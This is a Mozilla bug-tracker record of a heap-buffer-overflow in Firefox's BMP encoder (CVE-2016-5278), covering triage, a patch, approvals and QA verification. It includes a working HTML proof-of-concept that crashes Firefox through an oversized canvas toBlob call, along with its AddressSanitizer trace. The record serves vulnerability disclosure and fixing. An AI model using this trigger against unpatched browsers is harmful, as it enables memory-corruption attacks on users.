1294677 - (CVE-2016-5278) heap-buffer-overflow in nsBMPEncoder::AddImageFrame

Reporter

Description

•

8 years ago

testcase

Attached file crash.html (testcase, crashes firefox) — Details

A integer overflow vulnerability exists in nsBMPEncoder::AddImageFrame:


BMPEncoder.cpp:
191:  auto row = MakeUniqueFallible<uint8_t[]>(mBMPInfoHeader.width *
192: 				     BytesPerPixel(mBMPInfoHeader.bpp));


The testcase crashes the latest 64-bit ASAN build of Firefox as follows:

crash.html:
<script>
        c=document.createElement('canvas');
        c.setAttribute('width',(0x100000000/4) + 4);
        c.toBlob(alert, "image/bmp", "-moz-parse-options:format=bmp;bpp=32");
</script>

ASAN output:
=================================================================
==28279==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200021ef60 at pc 0x7effab381be8 bp 0x7eff8f6fdd90 sp 0x7eff8f6fdd88
WRITE of size 1 at 0x60200021ef60 thread T34 (Encodin~able #1)
    #0 0x7effab381be7 in ConvertHostARGBRow /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:435:19
    #1 0x7effab381be7 in nsBMPEncoder::AddImageFrame(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:202
    #2 0x7effab380489 in nsBMPEncoder::InitFromData(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:78:8
    #3 0x7effab6306bd in mozilla::dom::ImageEncoder::ExtractDataInternal(nsAString_internal const&, nsAString_internal const&, unsigned char*, int, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>, mozilla::layers::Image*, nsICanvasRenderingContextInternal*, mozilla::layers::AsyncCanvasRenderer*, nsIInputStream**, imgIEncoder*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:455:10
    #4 0x7effab69a20b in mozilla::dom::EncodingRunnable::ProcessImageData(unsigned long*, void**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:169:19
    #5 0x7effab692fd2 in mozilla::dom::EncodingRunnable::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:211:19
    #6 0x7effa8aa350f in nsThreadPool::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:227:7
    #7 0x7effa8aa3bfc in non-virtual thunk to nsThreadPool::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:154:15
    #8 0x7effa8a9c6b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1068:7
    #9 0x7effa8b1aa9c in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290:10
    #10 0x7effa986fa7f in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:384:5
    #11 0x7effa97e31f8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #12 0x7effa97e31f8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:225
    #13 0x7effa97e31f8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:205
    #14 0x7effa8a979d1 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:463:5
    #15 0x7effc1960378 in _pt_root /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:216:5
    #16 0x7effc4f566f9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76f9)
    #17 0x7effc3fdfb5c in clone /build/glibc-GKVZIf/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109

0x60200021ef60 is located 0 bytes to the right of 16-byte region [0x60200021ef50,0x60200021ef60)
allocated by thread T34 (Encodin~able #1) here:
    #0 0x4b247b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x7effab381168 in operator new[] /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:267:12
    #2 0x7effab381168 in MakeUniqueFallible<unsigned char []> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/UniquePtrExtensions.h:33
    #3 0x7effab381168 in nsBMPEncoder::AddImageFrame(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:191
    #4 0x7effab380489 in nsBMPEncoder::InitFromData(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:78:8
    #5 0x7effab6306bd in mozilla::dom::ImageEncoder::ExtractDataInternal(nsAString_internal const&, nsAString_internal const&, unsigned char*, int, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>, mozilla::layers::Image*, nsICanvasRenderingContextInternal*, mozilla::layers::AsyncCanvasRenderer*, nsIInputStream**, imgIEncoder*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:455:10
    #6 0x7effab69a20b in mozilla::dom::EncodingRunnable::ProcessImageData(unsigned long*, void**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:169:19
    #7 0x7effab692fd2 in mozilla::dom::EncodingRunnable::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:211:19
    #8 0x7effa8aa350f in nsThreadPool::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:227:7
    #9 0x7effa8aa3bfc in non-virtual thunk to nsThreadPool::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:154:15
    #10 0x7effa8a9c6b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1068:7
    #11 0x7effa8b1aa9c in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290:10
    #12 0x7effa986fa7f in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:384:5
    #13 0x7effa97e31f8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #14 0x7effa97e31f8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:225
    #15 0x7effa97e31f8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:205
    #16 0x7effa8a979d1 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:463:5
    #17 0x7effc1960378 in _pt_root /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:216:5
    #18 0x7effc4f566f9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76f9)

Thread T34 (Encodin~able #1) created by T0 (Web Content) here:
    #0 0x49a839 in __interceptor_pthread_create /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:238:3
    #1 0x7effc195cf3f in _PR_CreateThread /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:457:14
    #2 0x7effc195cb4a in PR_CreateThread /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:548:12
    #3 0x7effa8a9915b in nsThread::Init() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:634:8
    #4 0x7effa8aa087f in nsThreadManager::NewThread(unsigned int, unsigned int, nsIThread**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadManager.cpp:253:17
    #5 0x7effa8aa2309 in nsThreadPool::PutEvent(already_AddRefed<nsIRunnable>, unsigned int) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:106:3
    #6 0x7effa8aa3edf in nsThreadPool::Dispatch(already_AddRefed<nsIRunnable>, unsigned int) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThreadPool.cpp:276:5
    #7 0x7effab6329fc in Dispatch /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsIEventTarget.h:37:14
    #8 0x7effab6329fc in mozilla::dom::ImageEncoder::ExtractDataAsync(nsAString_internal&, nsAString_internal const&, bool, mozilla::UniquePtr<unsigned char [], mozilla::DefaultDelete<unsigned char []> >, int, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>, mozilla::dom::EncodeCompleteCallback*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/ImageEncoder.cpp:328
    #9 0x7effad741238 in mozilla::dom::CanvasRenderingContextHelper::ToBlob(JSContext*, nsIGlobalObject*, mozilla::dom::EncodeCompleteCallback*, nsAString_internal const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:114:9
    #10 0x7effad740b01 in mozilla::dom::CanvasRenderingContextHelper::ToBlob(JSContext*, nsIGlobalObject*, mozilla::dom::FileCallback&, nsAString_internal const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:71:3
    #11 0x7effadc1cfbe in mozilla::dom::HTMLCanvasElement::ToBlob(JSContext*, mozilla::dom::FileCallback&, nsAString_internal const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/html/HTMLCanvasElement.cpp:770:3
    #12 0x7effad3c2d2a in mozilla::dom::HTMLCanvasElementBinding::toBlob(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLCanvasElement*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dom/bindings/HTMLCanvasElementBinding.cpp:355:3
    #13 0x7effad641f37 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/bindings/BindingUtils.cpp:2770:13
    #14 0x7effb35b9a9b in CallJSNative /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jscntxtinlines.h:232:15
    #15 0x7effb35b9a9b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:441
    #16 0x7effb35a07b3 in CallFromStack /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:504:12
    #17 0x7effb35a07b3 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:2873
    #18 0x7effb3586f8e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:399:12
    #19 0x7effb35bc370 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:679:15
    #20 0x7effb35bca9e in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:711:12
    #21 0x7effb30e9ece in Evaluate(JSContext*, JS::Handle<JSObject*>, JS::Handle<js::StaticScope*>, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jsapi.cpp:4434:19
    #22 0x7effb30eaa21 in Evaluate /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jsapi.cpp:4461:12
    #23 0x7effb30eaa21 in JS::Evaluate(JSContext*, JS::AutoVectorRooter<JSObject*>&, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jsapi.cpp:4522
    #24 0x7effab8e7b4d in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, nsJSUtils::EvaluateOptions const&, JS::MutableHandle<JS::Value>, void**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsJSUtils.cpp:206:12
    #25 0x7effab8e863f in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, void**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsJSUtils.cpp:266:10
    #26 0x7effab971ba7 in nsScriptLoader::EvaluateScript(nsScriptLoadRequest*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsScriptLoader.cpp:2037:12
    #27 0x7effab96e9fa in nsScriptLoader::ProcessRequest(nsScriptLoadRequest*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsScriptLoader.cpp:1836:10
    #28 0x7effab9582ee in nsScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsScriptLoader.cpp:1574:10
    #29 0x7effab954a82 in nsScriptElement::MaybeProcessScript() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsScriptElement.cpp:141:10
    #30 0x7effaaa7ced4 in AttemptToExecute /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsIScriptElement.h:222:18
    #31 0x7effaaa7ced4 in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:664
    #32 0x7effaaa7b6a1 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:488:7
    #33 0x7effaaa7fefb in nsHtml5ExecutorFlusher::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/parser/html/nsHtml5StreamParser.cpp:128:9
    #34 0x7effa8a9c6b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1068:7
    #35 0x7effa8b1aa9c in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290:10
    #36 0x7effa986e4ef in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:100:21
    #37 0x7effa97e31f8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #38 0x7effa97e31f8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:225
    #39 0x7effa97e31f8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:205
    #40 0x7effaf2f449f in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/widget/nsBaseAppShell.cpp:156:3
    #41 0x7effb139c587 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:851:12
    #42 0x7effa97e31f8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #43 0x7effa97e31f8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:225
    #44 0x7effa97e31f8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:205
    #45 0x7effb139bc23 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:681:7
    #46 0x4dfb2b in content_process_main /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:224:19
    #47 0x4dfb2b in main /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/browser/app/nsBrowserApp.cpp:357
    #48 0x7effc3ef982f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/image/encoders/bmp/nsBMPEncoder.cpp:435:19 in ConvertHostARGBRow
Shadow bytes around the buggy address:
  0x0c048003bd90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003bda0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003bdb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003bdc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003bdd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c048003bde0: fa fa fa fa fa fa fa fa fa fa 00 00[fa]fa fd fd
  0x0c048003bdf0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c048003be00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003be10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003be20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048003be30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28279==ABORTING

Daniel Veditz [:dveditz]

Comment 1

•

8 years ago

At one point our image frames were capped at 32K pixels a side to prevent integer overflows. Did that get relaxed? Shouldn't canvas have the same limits?

Flags: needinfo?(milan)

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Group: core-security → gfx-core-security

Milan Sreckovic [:milan] (needinfo for best results)

Assignee

Comment 2

•

8 years ago

The cause for the problem seems clear (not all the image decode paths aren't checking for large memory allocation requests), but it isn't clear why mozregression is pushing me here, as for when the problem started:  https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=a6a457fe2a2a&tochange=80431d4fd0da

Assignee: nobody → milan

Matt Wobensmith [:mwobensmith][:matt:]

Comment 3

•

8 years ago

Also crashes non-ASAN Fx51: 
https://crash-stats.mozilla.com/report/index/961b20de-e1bd-4c07-9ed7-0fc802160818

Keywords: sec-critical

Andrew McCreight [:mccr8]

Updated

•

8 years ago

Blocks: 1294662

Milan Sreckovic [:milan] (needinfo for best results)

Assignee

Comment 4

•

8 years ago

Attached patch Minimal patch (if we need to uplift) to check for integer overflow — Details — Splinter Review

There are other places where we should be checking, but that would make it a larger patch.  This plugs this particular issue, and I have a larger patch that would deal with related possible problems.  There will also be a crash test, though I imagine we would land that separately?

Oh, and this does fix the crash in bug 1294622 as well - the problem isn't image format specific.

Flags: needinfo?(milan)

Attachment #8782642 - Flags: review?(jmuizelaar)

Milan Sreckovic [:milan] (needinfo for best results)

Assignee

Comment 5

•

8 years ago

(In reply to Milan Sreckovic [:milan] from comment #4)
> ...
> 
> Oh, and this does fix the crash in bug 1294622 as well - the problem isn't
> image format specific.

That would be bug 1294662.

Jeff Muizelaar [:jrmuizel]

Updated

•

8 years ago

Attachment #8782642 - Flags: review?(jmuizelaar) → review+

Jeff Muizelaar [:jrmuizel]

Updated

•

8 years ago

Depends on: 1297191

Milan Sreckovic [:milan] (needinfo for best results)

Assignee

Comment 6

•

8 years ago

Comment on attachment 8782642 [details] [diff] [review]
Minimal patch (if we need to uplift) to check for integer overflow

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
You could tell a large "something" is involved, but they would need to work to figure out that it's the canvas and toBlob method.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? 
Points in the vague direction.

Which older supported branches are affected by this flaw?
All.

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
This should apply cleanly, and if it doesn't with a trivial rebase.

How likely is this patch to cause regressions; how much testing does it need?
Very low risk, not likely to cause a regression.

This patch should be appropriate for aurora/beta/release/esr45 if we think it's critical enough.

Attachment #8782642 - Flags: sec-approval?

Al Billings [:abillings - ex-MoCo]

Comment 7

•

8 years ago

Comment on attachment 8782642 [details] [diff] [review]
Minimal patch (if we need to uplift) to check for integer overflow

sec-approval+ for trunk. We'll want this on Aurora, Beta, and ESR45. Can you nominate patches for those?

Attachment #8782642 - Flags: sec-approval? → sec-approval+

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

status-firefox48: --- → wontfix

status-firefox49: --- → affected

status-firefox50: --- → affected

status-firefox-esr45: --- → affected

tracking-firefox49: --- → +

tracking-firefox50: --- → +

tracking-firefox51: --- → +

tracking-firefox-esr45: --- → 49+

Milan Sreckovic [:milan] (needinfo for best results)

Assignee

Comment 8

•

8 years ago

Comment on attachment 8782642 [details] [diff] [review]
Minimal patch (if we need to uplift) to check for integer overflow

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec-critical
Fix Landed on Version: 51
Risk to taking this patch (and alternatives if risky): Very low risk with the patch; memory corruption possibility otherwise.
String or UUID changes made by this patch:

Attachment #8782642 - Flags: approval-mozilla-esr45?

Attachment #8782642 - Flags: approval-mozilla-beta?

Attachment #8782642 - Flags: approval-mozilla-aurora?

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

Attachment #8782642 - Flags: approval-mozilla-esr45?

Attachment #8782642 - Flags: approval-mozilla-esr45+

Attachment #8782642 - Flags: approval-mozilla-beta?

Attachment #8782642 - Flags: approval-mozilla-beta+

Attachment #8782642 - Flags: approval-mozilla-aurora?

Attachment #8782642 - Flags: approval-mozilla-aurora+

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

Keywords: checkin-needed

Ryan VanderMeulen [:RyanVM]

Comment 9

•

8 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/a489ca380382

Flags: in-testsuite?

Keywords: checkin-needed

Ryan VanderMeulen [:RyanVM]

Comment 10

•

8 years ago

https://hg.mozilla.org/releases/mozilla-aurora/rev/b0b52bebfd3d
https://hg.mozilla.org/releases/mozilla-beta/rev/98849c50bd6f

status-firefox49: affected → fixed

status-firefox50: affected → fixed

Wes Kocher (:KWierso) (Not reading bugmail; email directly if needed)

Comment 11

•

8 years ago

https://hg.mozilla.org/mozilla-central/rev/a489ca380382

Status: NEW → RESOLVED

Closed: 8 years ago

status-firefox51: affected → fixed

Resolution: --- → FIXED

Target Milestone: --- → mozilla51

Wes Kocher (:KWierso) (Not reading bugmail; email directly if needed)

Comment 12

•

8 years ago

https://hg.mozilla.org/releases/mozilla-esr45/rev/fd5052e343df

status-firefox-esr45: affected → fixed

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Group: gfx-core-security → core-security-release

Andrei Vaida [:avaida]

Updated

•

8 years ago

Flags: qe-verify+

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

Whiteboard: [adv-main49+][adv-esr45.4+]

Paul Silaghi, QA [:pauly]

Comment 13

•

8 years ago

Reproduced on 48.0.2, Win 7.
Verified fixed FX 49.0, 50.0a2 (2016-09-06), 51.0a1 (2016-09-06), 45.4.0 ESR, Win 7.

Status: RESOLVED → VERIFIED

status-firefox49: fixed → verified

status-firefox50: fixed → verified

status-firefox51: fixed → verified

status-firefox-esr45: fixed → verified

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

Alias: CVE-2016-5278

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

Flags: sec-bounty?

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Flags: sec-bounty? → sec-bounty+

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Keywords: csectype-bounds

Daniel Veditz [:dveditz]

Updated

•

7 years ago

Group: core-security-release

crash.html (testcase, crashes firefox) 8 years ago Nils 223 bytes, text/html		Details
Minimal patch (if we need to uplift) to check for integer overflow 8 years ago Milan Sreckovic [:milan] (needinfo for best results) 1.21 KB, patch	jrmuizel : review+ abillings : approval-mozilla-aurora+ abillings : approval-mozilla-beta+ abillings : approval-mozilla-esr45+ abillings : sec-approval+	Details \| Diff \| Splinter Review